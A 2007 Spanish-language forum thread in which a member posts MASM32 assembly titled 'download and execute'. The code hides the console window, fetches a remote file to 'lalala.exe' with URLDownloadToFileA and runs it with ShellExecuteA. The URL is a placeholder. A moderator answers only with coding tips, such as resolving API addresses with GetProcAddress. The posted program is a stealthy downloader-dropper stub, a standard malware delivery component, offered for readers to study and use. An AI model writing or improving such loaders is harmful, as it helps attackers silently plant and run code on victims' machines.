• Miércoles 24 de Abril de 2024, 10:23

Autor Tema:  Asm: Descarga Y Ejecucion  (Leído 2036 veces)

Rozor

  • Nuevo Miembro
  • *
  • Mensajes: 14
    • Ver Perfil
Asm: Descarga Y Ejecucion
« en: Viernes 21 de Septiembre de 2007, 00:26 »
0
Código: Text
  1.  
  2. ; Download and Execute by xZR !Sub_Level
  3. ; masm32
  4. ; WinXP ES SP2
  5.  
  6. .586p
  7. .MODEL FLAT, STDCALL
  8.  
  9. include \masm32\include\kernel32.inc
  10. includelib \masm32\lib\kernel32.lib
  11.  
  12.  
  13.  
  14. .DATA
  15.  
  16.   Consola db "ConsoleWindowClass",0
  17.   Direccion db "no me deja incluir link",0
  18.   Descarga db "lalala.exe",0
  19.   Orden db "open",0
  20.   UrlMon db "urlmon.dll",0
  21.   Shell db "shell32.dll",0
  22.   User db "user32.dll",0
  23.   Kernel db "kernel32.dll",0
  24.  
  25.  
  26. .CODE
  27.  
  28.   Inicio:
  29.  
  30.           xor eax, eax
  31.           push offset User
  32.           call LoadLibrary
  33.  
  34.           xor ecx, ecx
  35.           push ecx
  36.           push offset Consola
  37.           mov ebx, 7e3ade87h&#59; FindWindowA
  38.           call ebx
  39.  
  40.           xor ecx, ecx
  41.           push ecx
  42.           push eax
  43.           mov ebx, 7e39d8a4h&#59; ShowWindow
  44.           call ebx
  45.          
  46.  
  47.           xor eax, eax
  48.           push offset UrlMon
  49.           call LoadLibrary
  50.  
  51.           xor ecx, ecx
  52.           push ecx
  53.           push ecx
  54.           push offset Descarga
  55.           push offset Direccion
  56.           push ecx
  57.           mov ebx, 7df7b16fh &#59; URLDownloadToFileA
  58.           call ebx
  59.  
  60.           push offset Shell
  61.           call LoadLibrary
  62.          
  63.           xor ecx, ecx
  64.           push ecx
  65.           push ecx
  66.           push ecx
  67.           push offset Descarga
  68.           push offset Orden
  69.           push ecx
  70.           mov ebx,  7ca50ec0h&#59; ShellExecuteA
  71.           call ebx
  72.  
  73.           xor eax, eax
  74.           push offset Kernel
  75.           call LoadLibrary
  76.          
  77.           xor ecx, ecx
  78.           push ecx
  79.           mov ebx, 7c81cddah&#59; ExitProcess
  80.           call ebx
  81.           ret
  82.  
  83. end Inicio
  84.  
  85.  

Eternal Idol

  • Moderador
  • ******
  • Mensajes: 4696
  • Nacionalidad: ar
    • Ver Perfil
Re: Asm: Descarga Y Ejecucion
« Respuesta #1 en: Viernes 21 de Septiembre de 2007, 09:13 »
0
Con solo publicar ese codigo, sin decir cual es tu duda o problema no se que respuesta esperas pero bueno ahi voy: usa GetProcAddress, no unas direcciones "hardcoded".

Y como siempre DEPURA el programa para averiguar hasta donde se ejecuta tal como desearias.

Nacional y Popular En mi país la bandera de Eva es inmortal.


Queremos una Argentina socialmente justa, económicamente libre y  políticamente soberana.
¡Perón cumple, Evita dignifica!


La mano invisible del mercado me robo la billetera.

Rozor

  • Nuevo Miembro
  • *
  • Mensajes: 14
    • Ver Perfil
Re: Asm: Descarga Y Ejecucion
« Respuesta #2 en: Sábado 22 de Septiembre de 2007, 11:39 »
0
No habia duda, era un codigo muy legible y simplecito, para los interesados puedan leerlo, no hace nada dificil solo xor, mov, push, call y poco mas. Es facilito.


A nivel codigo quitando lo de las direcciones hardcoreadas, que las meto siempre cuando publico el source, asi hay que saber algo mas o menos de asm, me interesan que lo lean novatos no lamer. Que le cambiarias?.



Por que funcionar funciona claro, pero codigo en C mios de hace 6 meses los leo ahora y me hacen reir un poco. Con asm llevo muy poco tiempo y este digamos que es el primer code mio 100% por que lo roto lo he arreglado yo con debugger etc.... y lo he ensamblado y usado.


Gracias al foro y ati que n ove si me estas respondiendo post.

Eternal Idol

  • Moderador
  • ******
  • Mensajes: 4696
  • Nacionalidad: ar
    • Ver Perfil
Re: Asm: Descarga Y Ejecucion
« Respuesta #3 en: Sábado 22 de Septiembre de 2007, 18:46 »
0
Cita de: "Rozor"
No habia duda, era un codigo muy legible y simplecito, para los interesados puedan leerlo, no hace nada dificil solo xor, mov, push, call y poco mas. Es facilito.

Ah, OK.

Cita de: "Rozor"
A nivel codigo quitando lo de las direcciones hardcoreadas, que las meto siempre cuando publico el source, asi hay que saber algo mas o menos de asm, me interesan que lo lean novatos no lamer. Que le cambiarias?.

El punto es que esas direcciones se corresponden con las versiones de las DLLs que estan en TU maquina unicamente.

Cita de: "Rozor"
Gracias al foro y ati que n ove si me estas respondiendo post.

De nada, pero si queres publicar codigo fuente hay una seccion especial dedica a eso, por eso pense que tenias algun problema como en el hilo anterior.

Codigo Fuente

Nacional y Popular En mi país la bandera de Eva es inmortal.


Queremos una Argentina socialmente justa, económicamente libre y  políticamente soberana.
¡Perón cumple, Evita dignifica!


La mano invisible del mercado me robo la billetera.